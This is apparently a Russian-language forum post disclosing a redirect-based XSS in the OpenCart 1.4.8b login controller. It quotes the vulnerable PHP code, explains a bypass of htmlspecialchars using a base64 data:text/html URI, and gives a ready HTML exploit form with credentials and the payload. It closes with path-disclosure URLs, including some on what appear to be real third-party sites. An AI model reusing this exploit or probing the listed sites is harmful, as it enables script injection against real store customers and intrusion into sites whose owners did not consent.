pXSS в аторизации (часть представления!).
PHP код:
/*...*/
protected function redirect($url) {
header('Location: ' . str_replace('&', '&', $url));
exit();
}
/*...*/
controller/account/login.php
PHP код:
class ControllerAccountLogin extends Controller {
private $error = array();
public function index() {
if ($this->customer->isLogged()) {
$this->redirect(HTTPS_SERVER . 'index.php?route=account/account');
}
$this->language->load('account/login');
$this->document->title = $this->language->get('heading_title');
if (($this->request->server['REQUEST_METHOD'] == 'POST')) {
if (isset($this->request->post['account'])) {
$this->session->data['account'] = $this->request->post['account'];
if ($this->request->post['account'] == 'register') {
$this->redirect(HTTPS_SERVER . 'index.php?route=account/create');
}
if ($this->request->post['account'] == 'guest') {
$this->redirect(HTTPS_SERVER . 'index.php?route=checkout/guest_step_1');
}
}
if (isset($this->request->post['email']) && isset($this->request->post['password']) && $this->validate()) {
unset($this->session->data['guest']);
if (isset($this->request->post['redirect'])) {
$this->redirect(str_replace('&', '&', $this->request->post['redirect']));
} else {
$this->redirect(HTTPS_SERVER . 'index.php?route=account/account');
}
}
}
/*...*/
private function validate() {
if (!$this->customer->login($this->request->post['email'], $this->request->post['password'])) {
$this->error['message'] = $this->language->get('error_login');
}
if (!$this->error) {
return TRUE;
} else {
return FALSE;
}
}
Чтоб попасть на account/login.php надо установить переменную ?route=account/login
Еще надо иметь на целевом ресурсе созданный акаунт чтоб пройти авторизацию, после которой редирект, в который пихаетцо жаба!
Интересный момент что пытались защитить функцией которая упоминалась в посте выше - htmlspecialchars, но она не все сущности преобразовывает, тоесть можно обойти: data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGFja2VkIScpPC9zY3 JpcHQ+
Експлоит:
Код HTML:
<form action="http://localhost/opencart_1.4.8b_rus_0.1/index.php?route=account/login" method=post> <input name=email type=hidden value='test@mail.ru'> <input name=password type=hidden value=admin> <input name=redirect type=hidden value='data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGFja2VkIScpPC9zY3 JpcHQ+'> <input name=r type=radio checked> гуд<br> <input name=r type=radio> плохо<br> Как жизнь?<br> <input type="submit" value="ок."> </form>
зы
?route=account/login - только гет!
Раскрытие путей
http://www.hellomydream.com/admin/controller/common/header.php
http://garmata.net/admin/controller/payment/alertpay.php
http://localhost/opencart_1.4.8b_rus_0.1/admin/controller/localisation/length_class.php
http://localhost/opencart_1.4.8b_rus_0.1/admin/model/localisation/geo_zone.php
http://localhost/opencart_1.4.8b_rus_0.1/admin/model/sale/customer_group.php
и другие.